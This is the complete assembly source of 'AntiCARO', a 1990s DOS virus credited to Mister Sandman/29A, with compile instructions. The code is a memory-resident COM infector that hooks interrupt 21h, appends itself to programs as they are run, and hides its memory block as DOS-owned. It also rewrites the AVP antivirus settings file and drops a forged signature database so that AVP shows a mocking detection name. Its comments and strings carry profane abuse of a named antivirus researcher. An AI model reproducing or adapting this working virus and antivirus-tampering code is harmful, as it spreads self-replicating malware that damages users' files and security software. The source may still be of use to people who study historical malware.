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463 lines
19 KiB
NASM
463 lines
19 KiB
NASM
;
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; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
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; AntiCARO ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
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; by Mister Sandman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
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; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
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; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
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;
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; As i don't agree with CARO and with the way the name viruses, and spe-
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; cially the way they *misnamed* VLAD's Bizatch, i decided to write this
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; virus... just to protest against the biggest dickhead under the sun,
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; Vesselin Bonchev, the virus-baptizer who does whatever he wants making
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; abuse of his 'power' in that fucking sect named CARO.
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;
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; And as i know that, albeit he works at Frisk, his favourite AV is AVP,
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; i just took the decission to write this baby, which will modify AVP so
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; it will detect Bizatch as 'Bizatch_:P' and not as Boza.
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;
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; The virus is lame as hell (but i swear i wasn't able to reach Ratboy's
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; or YAM's coding skills)... i only developed its originality. Anyway,
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; it's interesting to see how does it modify AVP:
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;
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; It looks for AVP.SET in the current directory it's being loaded from.
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; If it finds that file, it will insert a new viral database in the se-
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; cond field, and later it will drop that new database, which contains
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; the data needed for detecting Bizatch from AVP (have a look at the co-
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; de, which is found at the end of this virus).
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;
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; As this new viral database has been loaded before the rest of the
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; other databases (except of KERNEL.AVB, which must be always loaded in
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; the first place), it will be the first one containing Bizatch's search
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; strings, so it will be the fortunate participant to show the name of
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; the virus it has detected :)
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;
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; About the virus itself, as i told before, it's a lame TSR COM infec-
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; tor which hits files on execution (4b00h) and uses SFTs for performing
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; the file infection.
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;
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; This virus is dedicated to my friends Quantum and Qark (ex VLAD) for
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; obvious reasons and to Tcp/29A because of his help on its writing.
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;
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; Compiling instructions:
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;
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; tasm /m anticaro.asm
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; tlink anticaro.obj
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; exe2bin anticaro.exe anticaro.com
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anticaro segment byte public
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assume cs:anticaro,ds:anticaro
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org 0
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anticaro_start label byte
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anticaro_size equ anticaro_end-anticaro_start
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entry_point: call delta_offset
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delta_offset: pop bp ; Get ë-offset
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sub bp,offset delta_offset ; for l8r use
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mov ax,3d02h ; Try to open AVP.SET
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lea dx,[bp+avp_set] ; if it's found in the
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int 21h ; current directory
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jc mem_res_check
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xchg bx,ax
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mov ah,3fh ; Read the whole file
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mov cx,29Ah ;-)
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lea dx,[bp+anticaro_end]
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int 21h
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push ax
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mov ax,4200h ; Lseek to the second
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xor cx,cx ; line (first must
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mov dx,0ch ; be always KERNEL.AVB)
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int 21h
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mov ah,40h ; Truncate file from
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xor cx,cx ; current offset
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int 21h
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mov ah,40h ; Write our viral
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mov cx,0dh ; database name
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lea dx,[bp+bizatch_name] ; (BIZATCH.AVB) as
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int 21h ; second field
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mov ah,40h ; And write the rest
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pop cx ; of the original
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sub cx,0ch ; AVP.SET we read b4
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lea dx,[bp+anticaro_end+0ch] ; to our buffer
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int 21h
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mov ah,3eh ; Close file
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int 21h
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mov ah,3ch ; Create the new viral
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xor cx,cx ; database (BIZATCH.AVB)
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lea dx,[bp+bizatch_base] ; which contains Bizatch's
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int 21h ; detection data
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xchg bx,ax
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mov ah,40h ; Write the database
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mov cx,base_size ; contents in the new
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lea dx,[bp+bizatch_avb] ; created file
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int 21h
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mov ah,3eh ; Close file
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int 21h
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mem_res_check: mov ax,'CA' ; Check if we're already
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mov bx,'RO' ; memory resident
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int 21h
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cmp ax,'SU' ; Coolio residency
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cmp bx,'X!' ; check... CARO SUX! :P
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je nothing_to_do
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install: mov ax,es
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dec ax
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mov ds,ax ; Program's MCB segment
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xor di,di
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cmp byte ptr ds:[di],'Y' ; Is it a Z block?
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jna nothing_to_do
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sub word ptr ds:[di+3],((anticaro_size/10h)+2)
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sub word ptr ds:[di+12h],((anticaro_size/10h)+2)
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add ax,word ptr ds:[di+3]
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inc ax
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mov ds,ax
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mov byte ptr ds:[di],'Z' ; Mark block as Z
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mov word ptr ds:[di+1],8 ; System memory
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mov word ptr ds:[di+3],((anticaro_size/10h)+1)
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mov word ptr ds:[di+8],4f44h ; Mark block as owned
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mov word ptr ds:[di+0ah],0053h ; by DOS (44h-4fh-53h,0)
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inc ax
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cld
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push cs
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pop ds
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mov es,ax ; Copy virus to memory
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mov cx,anticaro_size
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lea si,[bp+anticaro_start]
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rep movsb
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push ds
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mov ds,cx
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mov es,ax ; Save int 21h's
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mov si,21h*4 ; original vector
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lea di,old_int_21h+1
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movsw
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movsw
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mov word ptr [si-4],offset new_int_21h
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mov word ptr [si-2],ax ; Set ours
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pop ds
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push ds ; CS=DS=ES
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pop es
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nothing_to_do: lea si,[bp+host_header] ; Restore host's header
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mov di,100h ; and jump to cs:100h
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push di ; for running it
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movsw
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movsw
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ret
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; ÄÄ´ note_to_stupid_avers ;) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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copyright db 0dh,0ah,'[AntiCARO, by Mister Sandman/29A]',0dh,0ah
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db 'Please note: the name of this virus is [AntiCARO] '
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db 'written by Mister Sandman of 29A... but... dear '
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db 'Bontchy... name it however *you* (and not CARO) want,'
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db ' as usual; we just don''t mind your childish '
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db 'stupidity :)',0dh,0ah
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; ÄÄ´ AntiCARO's int 21h handler ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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new_int_21h: cmp ax,'CA' ; Residency check
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jnz execution? ; Are they asking my
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cmp bx,'RO' ; opinion about CARO?
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jnz execution?
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mov ax,'SU' ; Ok, CARO SUX! :P
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mov bx,'X!'
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iret
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execution?: cmp ax,4b00h ; This is the moment
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je check_name ; we were waiting for ;)''
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old_int_21h: db 0eah ; jmp xxxx:xxxx
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dw 0,0 ; Original int 21h
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; ÄÄ´ Infection routines ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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check_name: push ax bx cx dx ; Push all this shit
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push si di ds es ; and clear direction
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cld ; flag
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mov ax,3d00h ; Open the file is
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int 21h ; about to be executed
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xchg bx,ax
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call get_sft ; Get its SFT
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jc dont_infect ; Shit... outta here
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push cs ; CS=DS
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pop ds
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mov ax,word ptr es:[di+28h] ; Check extension
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cmp ax,'OC' ; There aren't too many
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je check_file ; 'COx' executables
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; besides COMs, right? :)
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dont_infect: pop es ds di si ; Pop out registers and
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pop dx cx bx ax ; jmp to the original
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jmp old_int_21h ; int 21h handler
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check_file: xor al,al ; Clear and save file
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xchg al,byte ptr es:[di+4] ; attributes
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push ax
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mov word ptr es:[di+2],2 ; Set read/write mode
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mov ah,3fh ; Read first four
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mov cx,4 ; bytes to our buffer
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lea dx,host_header
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int 21h
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mov ax,word ptr host_header ; First word in AX
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add al,ah ; M+Z or Z+M=0a7h :)
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cmp al,0a7h ; So is it an EXE file?
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je close_file ; Fuck it
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cmp byte ptr host_header+3,90h ; Check file for any
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je close_file ; previous infection
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mov ax,word ptr es:[di+11h] ; Check file length
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cmp ax,0faebh ; > 64235?
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ja close_file
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push ax ; Save length
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sub ax,3 ; Make the initial
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mov word ptr new_header+1,ax ; jmp to our code
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mov word ptr es:[di+15h],0 ; Lseek to the start
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mov ah,40h ; Write in our cooler
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mov cx,4 ; header :)
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lea dx,new_header
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int 21h
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pop ax ; Lseek to the end
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mov word ptr es:[di+15h],ax ; of the file
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mov ah,40h ; Append our code
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mov cx,anticaro_size ; Huh? where's the
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lea dx,anticaro_start ; call to the poly
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int 21h ; engine? :)
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close_file: mov ah,3eh ; Close our victim
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int 21h
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pop ax ; Restore attributes
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mov byte ptr es:[di+4],al ; Pop shit and jump
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jmp dont_infect ; to the original int 21h
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; ÄÄ´ Subroutines... or... oh, well, subroutine :) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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get_sft: push ax bx
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mov ax,1220h ; Get job file table
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int 2fh ; in ES:DI (DOS 3+)
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jc bad_sft
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xor bx,bx ; Get the address of
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mov ax,1216h ; the specific SFT for
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mov bl,byte ptr es:[di] ; our handle
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int 2fh
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bad_sft: pop bx ax ; Pop registers and
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ret ; return to the code
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; ÄÄ´ Data area ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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host_header db 0cdh,20h,90h,90h ; Host's header
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new_header db 0e9h,?,?,90h ; New header buffer
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avp_set db 'avp.set',0 ; Can't you guess it? :)
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bizatch_name db 'BIZATCH.AVB',0dh,0ah ; Our database field
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bizatch_base db 'bizatch.avb',0 ; Viral database name
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; ÄÄ´ BIZATCH.AVB viral database ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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;
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; The hex dump below is the AVP full-compatible viral database which con-
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; tains the necessary data for detecting Bizatch. This was done by compi-
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; ling the 'belower' code, linking it to a new AVPRO record, and filling
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; out some of this record's data fields. These are the steps:
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;
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; - Compile the source below this hex dump: tasm /m /ml /q biz_dec.asm.
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; - Execute AVP's AVPRO.EXE.
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; - Edit a new viral dabase (Alt-E, F3, and then type 'bizatch.avb').
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; - Insert a file record in it (Alt-I, and then select 'File virus').
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; - Fill the form as follows:
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;
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; ÉÍ[þ]ÍÍÍÍÍÍÍÍÍÍÍ File virus ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
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; º Name: Bizatch_:P Type [ ] COM º
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; º Comment: Fuck you, Bontchy [X] EXE º
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; º [ ] SYS º
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; º Area 1 Header [ ] WIN º
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; º Offset 0000 º
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; º Length 00 Method Delete º
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; º Area 2 Page_C Area Header º
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; º Offset 0000 From +0000 º
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; º Length 0a Length +0000 º
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; º To +0000 º
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; > º Link Ü +0000 º
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; º ßßßßßß Cut 0000 º
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; > º Sum Ü 00000000 º
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; º ßßßßßß 00000000 º
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; º º
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; º Ok Ü Cancel Ü º
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; º ßßßßßßßßßß ßßßßßßßßßß º
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; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
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;
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; - Link biz_dec.obj (Alt-L, and then select it).
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; - Type in Bizatch's entry point for calculating its sum (Alt-S, don't
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; select any file, and type in 'e8 00 00 00 00 5d 8b c5 2d 05' in the
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; dump gap AVPRO will show you.
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; - Save the new record and the new viral database.
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;
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; As you see, this is quite tedious to do, and that's why i included di-
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; rectly the hex dump of the result of all these steps, which seems to me
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; a bit more easy for you :)
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;
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; So skip the hex dump and have a look at biz_dec.asm's code, which is the
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; really important thing of this virus.
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base_start label byte
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base_size equ base_end-base_start-3
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bizatch_avb db 2dh,56h,0c2h,00h,00h,00h,00h,01h,0cch,07h,04h
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db 0bh,0cch,07h,10h,0bh,00h,00h,01h,00h,00h,00h,00h
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db 00h,0dh,0ah,41h,6eh,74h,69h,76h,69h,72h,61h,6ch
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db 20h,54h,6fh,6fh,6ch,4bh,69h,74h,20h,50h,72h,6fh
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db 0dh,0ah,20h,62h,79h,20h,45h,75h,67h,65h,6eh,65h
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db 20h,4bh,61h,73h,70h,65h,72h,73h,6bh,79h,20h,0dh
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db 0ah,28h,63h,29h,4bh,41h,4dh,49h,20h,43h,6fh,72h
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db 70h,2eh,2ch,20h,52h,75h,73h,73h,69h,61h,20h,31h
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db 39h,39h,32h,2dh,31h,39h,39h,35h,2eh,0dh,0ah,50h
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db 72h,6fh,67h,72h,61h,6dh,6dh,65h,72h,73h,3ah,0dh
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db 0ah,41h,6ch,65h,78h,65h,79h,20h,4eh,2eh,20h,64h
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db 65h,20h,4dh,6fh,6eh,74h,20h,64h,65h,20h,52h,69h
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db 71h,75h,65h,2ch,0dh,0ah,45h,75h,67h,65h,6eh,65h
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db 20h,56h,2eh,20h,4bh,61h,73h,70h,65h,72h,73h,6bh
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db 79h,2ch,0dh,0ah,56h,61h,64h,69h,6dh,20h,56h,2eh
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db 20h,42h,6fh,67h,64h,61h,6eh,6fh,76h,2eh,0dh,0ah
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db 0dh,0ah,00h,0dh,0ah,38h,00h,00h,00h,10h,00h,42h
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db 69h,7ah,61h,74h,63h,68h,5fh,3ah,50h,00h,00h,00h
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db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,03h
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db 00h,00h,0ah,0fh,0feh,0ffh,0ffh,01h,00h,00h,00h,00h
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db 00h,00h,00h,0ch,00h,00h,00h,00h,00h,00h,00h,00h,00h
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db 00h,00h,00h,00h,0dh,01h,12h,00h,00h,00h,46h,75h,63h
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db 6bh,20h,79h,6fh,75h,2ch,20h,42h,6fh,6eh,74h,63h,68h
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db 79h,00h,0dh,02h,01h,01h,00h,00h,98h,07h,00h,28h,86h
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db 00h,02h,03h,01h,0adh,8ch,21h,00h,07h,5fh,50h,61h
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db 67h,65h,5fh,43h,00h,07h,5fh,48h,65h,61h,64h,65h
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db 72h,00h,05h,5fh,53h,65h,65h,6bh,00h,05h,5fh,52h
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db 65h,61h,64h,00h,53h,90h,0eh,00h,00h,01h,07h,5fh
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db 64h,65h,63h,6fh,64h,65h,00h,00h,00h,97h,0a0h,8ah
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db 00h,01h,00h,00h,1eh,55h,0bdh,00h,00h,8eh,0ddh,0c4h
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db 3eh,00h,00h,26h,8bh,6dh,3ch,33h,0c0h,50h,55h,9ah
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db 00h,00h,00h,00h,58h,58h,0c4h,3eh,00h,00h,0b8h,0f8h
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db 00h,50h,06h,57h,9ah,00h,00h,00h,00h,83h,0c4h,06h
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db 0c4h,3eh,00h,00h,26h,81h,3dh,50h,45h,75h,29h,26h
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db 8bh,4dh,06h,51h,0b8h,28h,00h,50h,06h,57h,9ah,00h
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db 00h,00h,00h,83h,0c4h,06h,59h,0c4h,3eh,00h,00h,26h
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db 81h,3dh,76h,6ch,75h,08h,26h,81h,7dh,02h,61h,64h
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db 74h,07h,0e2h,0dbh,33h,0c0h,5dh,1fh,0cbh,26h,0c4h
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db 7dh,14h,06h,57h,9ah,00h,00h,00h,00h,58h,58h,0c4h
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db 3eh,00h,00h,0b8h,0ah,00h,50h,06h,57h,9ah,00h,00h
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db 00h,00h,83h,0c4h,06h,0ebh,0dah,9ah,9ch,2dh,00h
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db 0c8h,03h,56h,02h,0c4h,09h,56h,02h,0cch,14h,56h
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db 03h,0c4h,1ch,56h,01h,0cch,25h,56h,04h,0c4h,2eh
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db 56h,01h,0cch,43h,56h,04h,0c4h,4dh,56h,01h,0cch
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db 6ch,56h,03h,0c4h,74h,56h,01h,0cch,7dh,56h,04h,57h
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db 8ah,02h,00h,00h,74h
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base_end label byte
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; ÄÄ´ Bizatch's detection code ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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;
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; biz_dec segment byte public 'code'
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; assume cs:biz_dec;ds:biz_dec;es:biz_dec;ss:biz_dec
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;
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; _decode proc far
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; push ds bp
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; mov bp,seg _Header ; Get AVP's data segment
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; mov ds,bp
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;
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; les di,_Header ; Get pointer to header
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; mov bp,word ptr es:[di+3ch] ; Get PE header offset
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; xor ax,ax
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;
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; push ax bp
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; call far ptr _Seek ; Lseek to PE header
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; pop ax ax ; Remove 2 words from stack
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;
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; les di,_Page_C ; Destination=buffer
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; mov ax,0f8h ; Size=f8h bytes
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;
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; push ax es di ; Read f8h bytes from
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; call far ptr _Read ; the PE header
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;
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; add sp,6 ; Remove 3 words from stack
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; les di,_Page_C ; The call changes ES
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; cmp word ptr es:[di],'EP' ; Portable Executable?
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; jne back_to_avp
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;
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; mov cx,word ptr es:[di+6] ; Objects number
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; next_entry: push cx
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;
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; mov ax,28h ; Length of each
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; push ax es di ; object table entry
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; call far ptr _Read ; Read object
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;
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; add sp,6 ; Remove 3 words from stack
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; pop cx
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; les di,_Page_C ; Point to our buffer
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; cmp word ptr es:[di],'lv' ; vl(ad) object?
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; jne search_loop
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;
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; cmp word ptr es:[di],'da' ; (vl)ad object?
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; je lseek_object ; Bingo! :)
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;
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; search_loop: loop next_entry ; Process next object
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;
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; back_to_avp: xor ax,ax ; R_CLEAN==0
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; pop bp ds ; Return to AVP
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; retf
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;
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; lseek_object: les di,dword ptr es:[di+14h] ; Lseek to the object
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; push es di ; physical offset
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; call far ptr _Seek
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;
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; pop ax ax
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; mov ax,0ah ; Read ten bytes to
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; les di,_Page_C ; our buffer (page C)
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; push ax es di
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; call far ptr _Read
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;
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; add sp,6 ; And now AVP will compare
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; jmp back_to_avp ; those ten bytes with
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; _decode endp ; Bizatch's search string
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; biz_decode ends
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;
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; public _decode
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; extrn _Page_C:dword ; External AVP's API
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; extrn _Header:dword ; functions and buffers
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; extrn _Seek:far ; (lseek, read, header,
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; extrn _Read:far ; read buffer...)
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; end
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anticaro_end label byte
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anticaro ends
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end anticaro_start
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